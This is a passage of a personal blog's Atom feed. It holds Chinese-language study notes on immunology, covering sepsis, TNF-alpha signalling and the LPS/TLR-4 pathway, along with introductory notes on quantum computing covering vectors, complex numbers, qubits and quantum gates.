與併發症。敗血症一般是由細菌感染所引起，引發人體產生嚴重的免疫反應，如細菌內外毒素、細胞激素等都可能導致相關的併發症。</p><p>根據不同的病原體，產生的敗血症可能也有所不同，包括金黃色葡萄球菌敗血症、腸道鏈球菌敗血症…等，若沒有經由妥善治療，可能會引發<strong>敗血性休克(septic shock)</strong>:</p><p>當細菌感染時，部分部位會有炎症反應，血管的通透性便會增加，此時，平常待在血管中的如白蛋白等原先維持血液中滲透壓的物質便會經由開口跑到組織當中，平時在白蛋白的幫助之下，約 90%的血漿溢出之後便會經由原處因滲透壓滲回，但在發炎反應之下，血液中的滲透壓濃度不足以讓血漿滲回，過量的血漿堆積導致局部組織水腫。</p><p><img src="https://i.imgur.com/PIUqL5b.jpg"></p><p>在此同時，血管中的血液因而減少，重要器官如大腦或腎臟等處的血壓不足，若血管收縮依然無法改善，即會產生敗血性休克。</p><h1 id="TNF-alpha-Cycle"><a href="#TNF-alpha-Cycle" class="headerlink" title="TNF-$\alpha$ Cycle"></a>TNF-$\alpha$ Cycle</h1><p>TNF-$\alpha$在沒有細菌感染的情況之下，走以下的循環路徑:<br><img src="https://i.imgur.com/mBYAeUb.jpg"></p><p>圖中 NF-kB 在 GSK3 的刺激下活化，轉錄出少量的 TNF-$\alpha$ mRNA，TNF-$\alpha$再去持續活化更多的中性球、T 細胞以及 B 細胞，此外，PKB 在上游的活化，也會抑制 GSK3 對於 NF-kB 的活化，避免產生過量的 TNF-$\alpha$。</p><p>此外，巨噬細胞(Macrophage)與嗜中性球(Neutrophil)在細菌感染時都會感應細菌細胞壁上的 LPS，引發 TNF-$\alpha$的下游反應。不同的是，中性球在吞噬細菌之後會死亡，相反的，巨噬細胞會繼續擴大免疫反應。</p><p>在 TNF-$\alpha$的刺激下，Neutrophil 的壽命會延長，超過原有的壽命約 8-12hr。在血液中被活化的中性球、T cell 與 B cell，都會進行 TNF-$\alpha$ cycle，但基於以上提到的免疫熱度概念，TNF-$\alpha$的量亦不能過多，教授表達<strong>熱度要夠但不能太熱</strong>，重點在於清除體內的病原體，但也不能因此讓人體產生無法承受的免疫反應。</p><h1 id="LPS-TLR-4-Pathway"><a href="#LPS-TLR-4-Pathway" class="headerlink" title="LPS/TLR-4 Pathway"></a>LPS/TLR-4 Pathway</h1><p>上次提及了 TNF-$\alpha$/TNFR Pathway，這次來解釋上圖右方的 LPS/TLR-4 Pathway。這兩個傳訊路徑共同刺激了下游的 TNF-$\alpha$生成。</p><p><img src="https://i.imgur.com/ywhV5j4.jpg"></p><p>看到 TRAF 應該可以聯想到上次的 TNF-$\alpha$/TNFR Pathway 裡面也有相同的複合物，事實上上次的最後一張圖便是將這兩個 Pathway 進行的一個統整。TRAF 在於兩者中都扮演重要的中間傳訊者，總括而言，有四條下游的路徑可以走:</p><p>TRAF6 下游:<br>其與 TNF-$\alpha$/TNFR Pathway 其中兩條的路徑是一樣的，分別為:</p><ul><li>MAP kinase Pathway</li><li>IKK$\beta$/IkB$\alpha$/NF-kB Pathway</li></ul><p>TRAF3 下游:<br>這是相對比較不同的路徑，如下:</p><ul><li>cIAP1/2 將 TRAF3 泛素化(ubiquitination)，直接走向降解路徑(degradeation)。</li><li>走向 IRF-3 路徑，進入核內轉錄出第一型干擾素(Type I IFNs)</li></ul><p>此外，不僅是免疫細胞，如上皮細胞等也能夠走相同路徑，但上皮細胞不轉錄 TNF-$\alpha$，走 IFN 路徑，發生抗炎反應抑制 Pro-inflammatory cytokines 的產生，在細菌感染時避免 Neutrophil 及 TNF-$\alpha$突然增多而引發敗血症。</p><h1 id="代謝性酸中毒"><a href="#代謝性酸中毒" class="headerlink" title="代謝性酸中毒"></a>代謝性酸中毒</h1><p>當免疫反應過於激烈時，人體會擴大產生 TNF-$\alpha$，開啟 Th1/Th2 immunity。但在這個同時，前面提及 TNF-$\alpha$會對上皮、肌肉、神經細胞傳遞死亡訊號，當 TNF-$\alpha$過多時，器官細胞會開始皺縮，胞質溢出導致全身器官血腫，進而缺氧。</p><p>器官便從原有的有氧呼吸切換到無氧呼吸，產生大量的乳酸根離子，最終將體液$H_2O$的$H^+$搶走以電荷中和(體內$Na^+$含量大約固定為 135-145 meq/L，不夠讓過多的乳酸進行中和)，剩餘的$OH^-$便會以陰離子$HCO_{3}^-$的形式向腎臟進行交換$Cl^-$(在高中提及腎小管交換機制):</p><p><img src="https://i.imgur.com/tfpmoaG.jpg"></p><p>如此導致高血氯的發生，並陷入氧氣更難進入的惡性循環。此外，原先的鹼性$HCO_{3}^-$被取代為中性的$Cl^-$後，體液$pH$值會持續下降，成為所謂的代謝性酸中毒。</p><p>下次來整理 TLR 的一些相關內容吧~</p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><p><a href="https://wleemc.pixnet.net/blog/post/118886352-%E6%BC%AB%E8%AB%87%E5%85%8D%E7%96%AB%E5%AD%B8-2">https://wleemc.pixnet.net/blog/post/118886352-%E6%BC%AB%E8%AB%87%E5%85%8D%E7%96%AB%E5%AD%B8-2</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這篇接續了上篇，延續了 TNF-$&#92;alpha$的話題，但接著把病理學帶進了文章中。一起來看看~&lt;/p&gt;
&lt;h1 id=&quot;TNF-alpha&quot;&gt;&lt;a href=&quot;#TNF-alpha&quot; class=&quot;headerlink&quot; title=&quot;TNF-$&#92;alpha$&quot;&gt;&lt;/a&gt;</summary>
      
    
    
    
    <category term="Biology" scheme="http://blog.albert-web.tw/categories/Biology/"/>
    
    
    <category term="Biology" scheme="http://blog.albert-web.tw/tags/Biology/"/>
    
    <category term="Medical" scheme="http://blog.albert-web.tw/tags/Medical/"/>
    
    <category term="Immunity" scheme="http://blog.albert-web.tw/tags/Immunity/"/>
    
  </entry>
  
  <entry>
    <title>漫談免疫學BLOG筆記-Day I</title>
    <link href="http://blog.albert-web.tw/2021/05/20/Immune-1/"/>
    <id>http://blog.albert-web.tw/2021/05/20/Immune-1/</id>
    <published>2021-05-20T15:37:00.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>之前看到老師在社團分享李教授在部落格中所分享的文章，覺得心生興趣於是就拜訪了那個部落格，裡面的內容與免疫知識十分充足而且有趣，那麼就用自己的方法來整理它吧~</p><h1 id="Day-I"><a href="#Day-I" class="headerlink" title="Day I"></a>Day I</h1><h2 id="Bacteria-Immunity"><a href="#Bacteria-Immunity" class="headerlink" title="Bacteria Immunity"></a>Bacteria Immunity</h2><p>這篇主要整理 LPS ~ TLR ~ NF-kB ~ TNF-$\alpha$ Pathway，文章前面提及數十年前的免疫學知識遠比現在所了解的更少，例如細菌的 LPS(Lipopolysaccharide)打入小鼠後會讓老鼠身上的腫瘤發生潰爛，是 TNF-$\alpha$的效應，但精確機制為何，在當時依然為謎。</p><p><img src="https://i.imgur.com/l8VCLuN.jpg"></p><p>TNF-$\alpha$是由淋巴細胞(Lymphocyte)產生的 Lymphotoxin，全名是<strong>腫瘤壞死因子$\alpha$<strong>，根據教授的說明，其是維持</strong>人體免疫熱度</strong>最重要的細胞激素(Cytokine)</p><ul><li>NF-kB 是負責免疫細胞激素(Inflammatory cytokines)轉錄最重要的轉錄因子(Transcription factor)</li><li>GSK3 是維持 NF-kB 基礎活性的激酶(Kinase)。</li><li>PKA/PKB 亦是激酶，其中 PKB 被教授稱為”激酶之王”</li></ul><p>TNF-$\alpha$在免疫反應中主要維持<strong>中性球(Neutrophil)與淋巴球</strong>的免疫活性，在病原體入侵時量會增加以擴大免疫反應阻絕病原體。若沒有經過此一活化，則人體無法啟動與維持<strong>Th1/Th2 Immunity</strong>的進行。</p><h2 id="Supplement-Th1-Th2-Immunity"><a href="#Supplement-Th1-Th2-Immunity" class="headerlink" title="Supplement : Th1/Th2 Immunity"></a>Supplement : Th1/Th2 Immunity</h2><p>T 細胞在人體中是細胞激素的主要來源，而其所產生的 Th1/Th2 則是人體中最為主要的兩大細胞激素族群，其下又分別有多種的細胞激素。廣泛而言，Th1 型細胞激素主要負責寄生蟲殺害與促炎反應，例如干擾素$\gamma$(IFN-$\gamma$)。但過度的促炎反應會對人體造成損傷，因此 Th2 機制便是在 Th1 過量時進行抑制殺死微生物的作用。Th2 包含 IL-4,IL-5 及 IL-13 等，與促進嗜酸性球及 IgE 活性有關。此二細胞激素的拮抗構成了此一免疫機制的基本適應。</p><p>Ref. <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC27457/">(NCBI) Th1 and Th2 responses: what are they?</a></p><p>TNF-$\alpha$顧名思義是一種誘導細胞死亡的蛋白，但事實上他的功能一體兩面，不僅可促進細胞凋亡，也可以促進細胞生存，一種蛋白有兩種截然不同的功能，十分新奇。(但值得注意的是，它並不是對單一細胞同時傳遞兩種訊息，相反的，它針對特定細胞傳遞生存訊號或死亡訊號)</p><p>教授在部落格中特別提出了這段話來說明:</p><p><strong>TNF-$\alpha$一方面活化 Immune cell(免疫細胞), Fibroblast(纖維母細胞), Stromal cell(基質細胞), Stem cell(幹細胞), Vascular endothelial cell(血管內皮細胞)，促進這些細胞存活及分裂(Survival &gt;&gt; Death)；另一方面在人體最多的 Epithelial cell(上皮細胞), muscle cell(肌肉細胞), nerve cell(神經細胞) 則傳遞凋亡訊息(Death &gt; Survival)。</strong></p><h2 id="TNF-alpha-TNFR-TRAF2-Pathway"><a href="#TNF-alpha-TNFR-TRAF2-Pathway" class="headerlink" title="TNF-$\alpha$/TNFR/TRAF2 Pathway"></a>TNF-$\alpha$/TNFR/TRAF2 Pathway</h2><p>接著討論 TNFR(TNF receptor)。事實上這個 recepter 早在西元 1985 年就被發現，然而其下游的組裝機制在約 1994-1996 年之後才被發現。<br><img src="https://i.imgur.com/YxXiEdc.jpg"></p><p>以這張圖片為例，當 TNF-$\alpha$接上了 TNFR 之後(游離態，此圖未顯示)，插入細胞膜之中，TRADD, TRAF2, RIP1 會聚集過來接上，促成 TRAF2 與 RIPK1 的被動磷酸化(Autophosphorylation)與泛素化(Polyubiquitination)(Ub)(主要功能為標記)。此活化上游路徑稱為 TNF-$\alpha$/TNFR/TRAF2 Pathway。其下游根據所處細胞的不同可能會激發不同的反應途徑。</p><p>圖示左邊的途徑中，有一個 TAK1 接上 TAB2/3 與 TAB1 的 complex，其在接觸了 TRAF 的磷酸化部位之後，TAK1 會進行磷酸化及泛素化，並將其下游的 IKK$\beta$磷酸化，IKK$\beta$再將 IkB 磷酸化之後，p-IkB 與 NF-kB 分離，p-IkB 隨後進入 Ubiquitin-Proteasome degradation pathway 進行降解，而 NF-kB 則進入核內，即作為轉錄因子，可以控制轉錄。</p><p>TNF-$\alpha$在免疫細胞中另一個途徑是走 MAP kinase pathway，也就是在 TAK1 下游的另一條路徑。但這條路徑過於複雜，有許多在旁的激酶與激素等，因此留待日後補充。</p><p>另外圖中補充了引發細胞凋亡(apoptosis)與壞死性凋亡(necroptosis)的途徑，主要由原本在 TNFR 下方複合物中的 RIPK-1 游離後接上 FADD 與 caspase8 組成新的 complex，再經由不同的途徑接上激酶等因子後進行凋亡，如上皮細胞接收到 TNF-$\alpha$的信號時，就會引起細胞凋亡路徑。</p><p>至此第一篇的筆記整理算是到此結束，然而上方所提及的僅是主要路徑的模式，至於是否僅有這些?當然不是啊!下方附圖是加上了其他訊號加強或是抑制的示意圖，所有的訊號都是經由其他的 Recepter 經過訊號整合後才進行下游途徑的，因此，單一訊號的傳遞，絕對不是僅由單一變因控制的喔!<br><img src="https://i.imgur.com/gvbFeAj.png"></p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><p><a href="https://wleemc.pixnet.net/blog/post/118860702-%E6%BC%AB%E8%AB%87%E5%85%8D%E7%96%AB%E5%AD%B8-1">https://wleemc.pixnet.net/blog/post/118860702-%E6%BC%AB%E8%AB%87%E5%85%8D%E7%96%AB%E5%AD%B8-1</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;之前看到老師在社團分享李教授在部落格中所分享的文章，覺得心生興趣於是就拜訪了那個部落格，裡面的內容與免疫知識十分充足而且有趣，那麼就用自己的方法來整理它吧~&lt;/p&gt;
&lt;h1 id=&quot;Day-I&quot;&gt;&lt;a href=&quot;#Day-I&quot; class=&quot;headerlink&quot; tit</summary>
      
    
    
    
    <category term="Biology" scheme="http://blog.albert-web.tw/categories/Biology/"/>
    
    
    <category term="Biology" scheme="http://blog.albert-web.tw/tags/Biology/"/>
    
    <category term="Medical" scheme="http://blog.albert-web.tw/tags/Medical/"/>
    
    <category term="Immunity" scheme="http://blog.albert-web.tw/tags/Immunity/"/>
    
  </entry>
  
  <entry>
    <title>Quantum Computing Part II</title>
    <link href="http://blog.albert-web.tw/2021/05/16/Quantum-Computing-2/"/>
    <id>http://blog.albert-web.tw/2021/05/16/Quantum-Computing-2/</id>
    <published>2021-05-16T08:23:14.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>基礎的線性代數對於量子的運算是不可或缺的，因此這幾篇文章會先來建立線性代數的相關基礎概念。</p><h1 id="Foundamental-Linear-Algebra-of-Quantum-Computing-Part-I"><a href="#Foundamental-Linear-Algebra-of-Quantum-Computing-Part-I" class="headerlink" title="Foundamental Linear Algebra of Quantum Computing Part I"></a>Foundamental Linear Algebra of Quantum Computing Part I</h1><h2 id="Why-all-math"><a href="#Why-all-math" class="headerlink" title="Why all math?"></a>Why all math?</h2><p>許多的量子學習者總被大量的數學運算搞得暈頭轉向，然而，數學對於量子而言，是必要的基礎以及工具，尤其對於線性代數(向量(Vector)、矩陣(Matrix))、機率(Probability)以及複數(Complex Numbers)等領域，會是量子運算的根基。在未來我們將會提及，現在所進行的所有運算將都能利用數學語言來呈現。高中必修的部分，也將在這裡快速帶過。</p><h2 id="Vector"><a href="#Vector" class="headerlink" title="Vector"></a>Vector</h2><p>向量是許多領域的基礎，接續下來所要介紹的複數與矩陣等都會用到相關的概念，要好好學習喔!這裡主要整理比較常用到的概念，比較簡單的細節部份就有待各位自行鑽研囉~(其實學校學的也夠用了啦 XD)</p><h3 id="Vector-Notation"><a href="#Vector-Notation" class="headerlink" title="Vector Notation"></a>Vector Notation</h3><p>$\vec{v}=\left(<br>\begin{array}{}<br>v_x \<br>v_y \<br>\end{array}<br>\right)$</p><h3 id="Vector-Magnititude"><a href="#Vector-Magnititude" class="headerlink" title="Vector Magnititude"></a>Vector Magnititude</h3><p>$|\vec{v}|=\sqrt{v_x^{2}+v_y^{2}}$</p><h3 id="Vector-Direction"><a href="#Vector-Direction" class="headerlink" title="Vector Direction"></a>Vector Direction</h3><p>$\angle \vec{v}=\tan^{-1}\dfrac{v_x}{v_y}$</p><h3 id="Vector-Addition"><a href="#Vector-Addition" class="headerlink" title="Vector Addition"></a>Vector Addition</h3><p>$\vec{a}+\vec{b}=\left(<br>\begin{array}{}<br>a_x + b_x \<br>a_y + b_y \<br>\end{array}<br>\right)$</p><h3 id="Vector-Scalar-Multiplication"><a href="#Vector-Scalar-Multiplication" class="headerlink" title="Vector-Scalar Multiplication"></a>Vector-Scalar Multiplication</h3><p>$c\times \vec{v}=\left(<br>\begin{array}{}<br>c\times v_x \<br>c\times v_y \<br>\end{array}<br>\right)$</p><h3 id="Vector-Generalization"><a href="#Vector-Generalization" class="headerlink" title="Vector Generalization"></a>Vector Generalization</h3><p><img src="https://i.imgur.com/M9x4Lfw.png"></p><p>咦，向量只有這樣而已嗎?沒辦法，會用到的簡單到不知道要寫什麼了$QQ$</p><h2 id="Complex-Numbers"><a href="#Complex-Numbers" class="headerlink" title="Complex Numbers"></a>Complex Numbers</h2><h3 id="Why-Complex-Numbers"><a href="#Why-Complex-Numbers" class="headerlink" title="Why Complex Numbers?"></a>Why Complex Numbers?</h3><p>$ax^2+bx+c=0\Rightarrow x=\dfrac{-b±\sqrt{b^2-4ac}}{2a}$<br>$D=\sqrt{b^2-4ac}$<br>If $D&lt;0$ $?$ $\Rightarrow$ $\sqrt{-1}$ $???$</p><p>Then, we defined $\sqrt{-1}$ as $i$ !</p><ul><li>A complex number consists of both a <strong>real</strong> and <strong>imaginary component</strong><br><img src="https://i.imgur.com/grzOC9s.png"></li></ul><h3 id="Representation"><a href="#Representation" class="headerlink" title="Representation"></a>Representation</h3><ul><li>Complex numbers can additionally be represented as <strong>vectors</strong>, in the <strong>2D complex plane</strong>!<br><img src="https://i.imgur.com/5MBwzCv.png"></li></ul><h3 id="Complex-Number-Addition"><a href="#Complex-Number-Addition" class="headerlink" title="Complex Number Addition"></a>Complex Number Addition</h3><p>$(a+ib)+(c+id)=(a+c)+i(b+d)$</p><h3 id="Complex-Number-Multiplication"><a href="#Complex-Number-Multiplication" class="headerlink" title="Complex Number Multiplication"></a>Complex Number Multiplication</h3><p>$(a+ib)\times(c+id)=(ac-bd)+i(ad+bc)$</p><h3 id="Complex-Number-Conjugation"><a href="#Complex-Number-Conjugation" class="headerlink" title="Complex Number Conjugation"></a>Complex Number Conjugation</h3><p>共軛複數是一個全新的觀念，要注意一下唷~</p><p>$\overline{(a+ib)}=(a-ib)$</p><h3 id="Complex-Number-Modulus"><a href="#Complex-Number-Modulus" class="headerlink" title="Complex Number Modulus"></a>Complex Number Modulus</h3><p>$|a+ib|=\sqrt{a^2+b^2}$<br>$|a+ib|^2=a^2+b^2$</p><p>接下來是重要的理論，我們將利用尤拉定理(Euler’s Formula)來進行複數的帶換，加入角度的概念，將複數利用另外一種形式來表示。</p><h3 id="Euler’s-Formula-amp-Complex-Exponentials"><a href="#Euler’s-Formula-amp-Complex-Exponentials" class="headerlink" title="Euler’s Formula &amp; Complex Exponentials"></a>Euler’s Formula &amp; Complex Exponentials</h3><p>$e^{i\phi}=\cos\phi+i\sin\phi→$<strong>(Euler’s Formula)</strong><br>$z=x+iy=|z|(\cos\phi+i\sin\phi)=re^{i\phi}$<br>$r=|z|=\sqrt{x^2+y^2}$<br>$\phi=\tan^{-1}(\dfrac{y}{x})$</p><h3 id="Euler’s-Identity"><a href="#Euler’s-Identity" class="headerlink" title="Euler’s Identity"></a>Euler’s Identity</h3><p>$e^{i\pi}+1=0$</p><h3 id="Complex-Exp-Addition"><a href="#Complex-Exp-Addition" class="headerlink" title="Complex Exp. Addition"></a>Complex Exp. Addition</h3><p>一般而言，要將複指數進行加減是十分不易的，必須將其轉回標準狀態的複數形式才能夠進行加減。然而，透過以下兩式的轉換，可以簡化這方面的運算。</p><p>$\dfrac{e^{i\phi}+e^{-i\phi}}{2}=\cos\phi$<br>$\dfrac{e^{i\phi}-e^{-i\phi}}{2i}=\sin\phi$</p><p>e.g.</p><p>$e^{-i\dfrac{\pi}{2}}-e^{i\dfrac{\pi}{2}}=2i\sin{\dfrac{\pi}{2}}=2i$</p><h3 id="Complex-Exp-Multiplication"><a href="#Complex-Exp-Multiplication" class="headerlink" title="Complex Exp. Multiplication"></a>Complex Exp. Multiplication</h3><p>$e^{i\phi}e^{i\theta}=e^{i(\phi+\theta)}$</p><h3 id="Complex-Exp-Modulus"><a href="#Complex-Exp-Modulus" class="headerlink" title="Complex Exp. Modulus"></a>Complex Exp. Modulus</h3><p>$|z|=|re^{i\phi}|=r(r&gt;0)$</p><h3 id="Complex-Exp-Conjugation"><a href="#Complex-Exp-Conjugation" class="headerlink" title="Complex Exp. Conjugation"></a>Complex Exp. Conjugation</h3><p>$\overline{e^{i\phi}}=e^{-i\phi}$</p><p>事實上，複數平面就是向量的運用，利用實數與虛數構成的平面進行代數的幾何化，並帶入三角函數的概念來進行轉換，此二概念是相輔相成的，可以多多注意。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;基礎的線性代數對於量子的運算是不可或缺的，因此這幾篇文章會先來建立線性代數的相關基礎概念。&lt;/p&gt;
&lt;h1 id=&quot;Foundamental-Linear-Algebra-of-Quantum-Computing-Part-I&quot;&gt;&lt;a href=&quot;#Foundamental</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="Quantum Computing" scheme="http://blog.albert-web.tw/tags/Quantum-Computing/"/>
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
  </entry>
  
  <entry>
    <title>Quantum Computing Part I</title>
    <link href="http://blog.albert-web.tw/2021/05/08/Quantum-Computing-1/"/>
    <id>http://blog.albert-web.tw/2021/05/08/Quantum-Computing-1/</id>
    <published>2021-05-08T10:22:16.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>這篇先來介紹量子運算的基礎-位元運算吧!位元的運算不管是對於傳統電腦或量子電腦皆是不可或缺的基礎，而量子電腦則拓展到了特殊化的標記與邏輯閘的運算。</p><h1 id="Foundamental-Notation-of-Quantum-Computing"><a href="#Foundamental-Notation-of-Quantum-Computing" class="headerlink" title="Foundamental Notation of Quantum Computing"></a>Foundamental Notation of Quantum Computing</h1><h2 id="Definition-of-Quantum-Computing"><a href="#Definition-of-Quantum-Computing" class="headerlink" title="Definition of Quantum Computing"></a>Definition of Quantum Computing</h2><p>量子位元(以下簡稱 Qubit)運用狄拉克標記(Dirac notation)來描述一個量子$\phi$的狀態，並以單位位元$|0〉$與$|1〉$的線性組合來定義之。</p><p>$|\phi〉=\alpha|0〉+\beta|1〉；\alpha,\beta∈C$</p><p>而透過量子力學可以得知，$\phi$ 係數平方和 $\alpha^2+\beta^2=1$，且$\alpha^2$與$\beta^2$分別代表了$|0〉$與$|1〉$出現的機率。</p><h2 id="Quantum-Gates"><a href="#Quantum-Gates" class="headerlink" title="Quantum Gates"></a>Quantum Gates</h2><p>首先介紹關於<strong>單一</strong>量子位元的操作邏輯閘(Logic Gates)。</p><h3 id="Pauli-X-Gate"><a href="#Pauli-X-Gate" class="headerlink" title="Pauli-X Gate"></a>Pauli-X Gate</h3><p><img src="https://i.imgur.com/HnMqveX.png"><br>Bit-Flip.其定義為翻轉(flip)量子位元，顧名思義，它進行以下運算:</p><p>$|0〉→|1〉$<br>$|1〉→|0〉$</p><h3 id="Pauli-Z-Gate"><a href="#Pauli-Z-Gate" class="headerlink" title="Pauli-Z Gate"></a>Pauli-Z Gate</h3><p><img src="https://i.imgur.com/xJvPglw.png"><br>Phase Gate.此邏輯閘定義為保留$|0〉$的狀態不變，且將$|1〉$換成$-|1〉$</p><p>$|0〉→|0〉$<br>$|1〉→-|1〉$</p><h3 id="Hadamard-Gate"><a href="#Hadamard-Gate" class="headerlink" title="Hadamard Gate"></a>Hadamard Gate</h3><p><img src="https://i.imgur.com/KSQ6cIl.png"><br>Create a 50-50 superstition from $|0〉$ and $|1〉$。建立出出現$|0〉$$|1〉$機率各 50%的量子位元</p><p>$|0〉→\dfrac{|0〉+|1〉}{\sqrt{2}}$<br>$|1〉→\dfrac{|0〉-|1〉}{\sqrt{2}}$</p><p>※ 量子閘具有線性運算特性，遵守運算基本性質(分配律與結合律)。</p><h3 id="Supplement-TWICE-HADAMARD"><a href="#Supplement-TWICE-HADAMARD" class="headerlink" title="Supplement : TWICE HADAMARD"></a>Supplement : TWICE HADAMARD</h3><p>$For$ $|0⟩$:</p><p>$H(\dfrac{|0⟩+|1⟩}{\sqrt2})=\dfrac{H(|0⟩)+H(|1⟩)}{\sqrt2}$</p><p>$=\dfrac{1}{\sqrt2}(\dfrac{|0⟩+|1⟩}{\sqrt2}+\dfrac{|0⟩-|1⟩}{\sqrt2})$</p><p>$=|0⟩$</p><p>$For$ $|1⟩$:</p><p>$H(\dfrac{|0⟩-|1⟩}{\sqrt2})=\dfrac{H(|0⟩)-H(|1⟩)}{\sqrt2}$</p><p>$=\dfrac{1}{\sqrt2}[\dfrac{|0⟩+|1⟩}{\sqrt2}-(\dfrac{|0⟩-|1⟩}{\sqrt2})]$</p><p>$=|1⟩$</p><p>接著介紹多個量子位元的表示法與運算閘。</p><h3 id="Multiple-Qubit-Notation"><a href="#Multiple-Qubit-Notation" class="headerlink" title="Multiple Qubit Notation"></a>Multiple Qubit Notation</h3><p>$|0〉→$ qibit A is $|0〉$<br>$|00〉→$ qibit A is $|0〉$ and qubit B is $|0〉$<br>$|000〉→$ qibit A is $|0〉$ and qubit B is $|0〉$ and qubit C is $|0〉$<br>…etc</p><h3 id="CNOT-Gate"><a href="#CNOT-Gate" class="headerlink" title="CNOT Gate"></a>CNOT Gate</h3><p><img src="https://i.imgur.com/1D87YKH.png"><br>Controlled Not.以控制位元決定是否要翻轉目標位元。</p><table><thead><tr><th align="center">Control Qubit</th><th align="center">Target Qubit Flip or NOT</th></tr></thead><tbody><tr><td align="center">0</td><td align="center">False</td></tr><tr><td align="center">1</td><td align="center">True</td></tr></tbody></table><h2 id="Exercise-Quantum-Entanglement"><a href="#Exercise-Quantum-Entanglement" class="headerlink" title="Exercise : Quantum Entanglement"></a>Exercise : Quantum Entanglement</h2><p>Question: How to create an entagled state quantum bit?</p><p>Now we have two qubits: Qubit A and Qubit B.<br>Our target is to make these two qubits influence each other.<br>So, we have to make sure that one of the qubit’s value will be fixed after the other one is defined.$→$ <strong>Use CNOT Gate</strong><br>And we also need to set the first qubit into two-valued state.$→$ <strong>Use Hadamard Gate</strong><br><img src="https://i.imgur.com/Hl4cgsG.png"><br>We create an entangled state quantum bit successfully!</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這篇先來介紹量子運算的基礎-位元運算吧!位元的運算不管是對於傳統電腦或量子電腦皆是不可或缺的基礎，而量子電腦則拓展到了特殊化的標記與邏輯閘的運算。&lt;/p&gt;
&lt;h1 id=&quot;Foundamental-Notation-of-Quantum-Computing&quot;&gt;&lt;a href</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="Quantum Computing" scheme="http://blog.albert-web.tw/tags/Quantum-Computing/"/>
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
  </entry>
  
  <entry>
    <title>Quantum Computing Getting Started</title>
    <link href="http://blog.albert-web.tw/2021/05/01/Quantum-Computing/"/>
    <id>http://blog.albert-web.tw/2021/05/01/Quantum-Computing/</id>
    <published>2021-05-01T23:18:19.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>這是一部基於 IBM QxQ 量子基礎課程的筆記，將從最基本的數學基礎延伸到量子相關內容。量子應用的層面相當廣泛，從醫療、通訊、金融服務、交通、AI、天氣預報，甚至於加密演算法，皆有其可觀之處。此文章將由淺入深，介紹量子學習相關的內容以及演算方法。</p><h1 id="Quantum-Computing-Basic"><a href="#Quantum-Computing-Basic" class="headerlink" title="Quantum Computing Basic"></a>Quantum Computing Basic</h1><p>量子運算的核心精神是利用量子的相關物理特性，如干涉(intervene)、糾纏(entanglement)與疊加(superstition)等，來進行傳統電腦(classical computers)所無法進行的快速運算。現今最為有名的應用為整數分解(integer factorization)，其可應用於破解傳統非對稱式加密演算法 RSA 的核心加密要素-大數分解。</p><h1 id="Introduce-of-Quantums"><a href="#Introduce-of-Quantums" class="headerlink" title="Introduce of Quantums"></a>Introduce of Quantums</h1><p>量子計算系統運用了量子位元(Qubit)來進行訊息的傳遞。傳統電腦運算系統運用數字 0 與 1 來表達訊息，且在某一時間點僅存在一種狀態。而與傳統電腦相對而言，量子電腦(Quantum Computer)特殊的地方便在於其可同時對 0 與 1 進行運算，成為一種 0 與 1 同時存在的狀態，稱之為疊加態(superstition)。</p><h1 id="Quantum-Computing’s-History"><a href="#Quantum-Computing’s-History" class="headerlink" title="Quantum Computing’s History"></a>Quantum Computing’s History</h1><p>量子運算最早可追溯至 1980 年初的 Paul Banioff 提出量子力學模型(quantum mechanical model)的圖靈機(Turing machine)。在其之後，著名物理學家 Richard Feynman 與 Yuri Manin 提出量子計算機有潛力突破傳統電腦的限制，模擬傳統計算機(Computer)所無法達成的事情。這也成功造就了量子技術的蓬勃發展。</p><h1 id="Qunatum’s-Application"><a href="#Qunatum’s-Application" class="headerlink" title="Qunatum’s Application"></a>Qunatum’s Application</h1><p>量子應用的相關層面可說是十分廣泛，舉凡醫學(Medicine)、藥學(Pharmacy)、經濟(Finance)、天氣(Weather)等生活中的應用，以及最不可或缺的資訊類別，如人工智慧(Artificial Intelligence)、密碼學(Cryptography)，量子運算正在每個領域中悄悄蔓延。量子運算將大幅減少傳統電腦所需負擔的計算時間，這同時也減少了公司金錢的支出。</p><h1 id="Modern-Quantum-Computing’s-Development"><a href="#Modern-Quantum-Computing’s-Development" class="headerlink" title="Modern Quantum Computing’s Development"></a>Modern Quantum Computing’s Development</h1><ul><li>1981 Richard Feynman 提出一個用於模擬量子系統的框架(Framework)。</li><li>1994 Peter Shor 表明量子運算能夠有效分解大型整數。</li><li>1998 運用 2-qubit NMR 量子計算機的首次量子運算實驗進行。</li><li>2017 雲端量子技術形成。</li><li>2019- 量子時代來臨</li></ul><p>看了這麼多，你認為量子距離你遙不可及嗎?答案顯然是否定的。基本的運算與計算培養對於量子技術的養成是不可或缺的。先讓我們來窺探量子世界的微小基礎吧!</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;這是一部基於 IBM QxQ 量子基礎課程的筆記，將從最基本的數學基礎延伸到量子相關內容。量子應用的層面相當廣泛，從醫療、通訊、金融服務、交通、AI、天氣預報，甚至於加密演算法，皆有其可觀之處。此文章將由淺入深，介紹量子學習相關的內容以及演算方法。&lt;/p&gt;
&lt;h1 id=&quot;</summary>
      
    
    
    
    <category term="Computer Science" scheme="http://blog.albert-web.tw/categories/Computer-Science/"/>
    
    
    <category term="Quantum Computing" scheme="http://blog.albert-web.tw/tags/Quantum-Computing/"/>
    
    <category term="Mathematics" scheme="http://blog.albert-web.tw/tags/Mathematics/"/>
    
  </entry>
  
</feed>
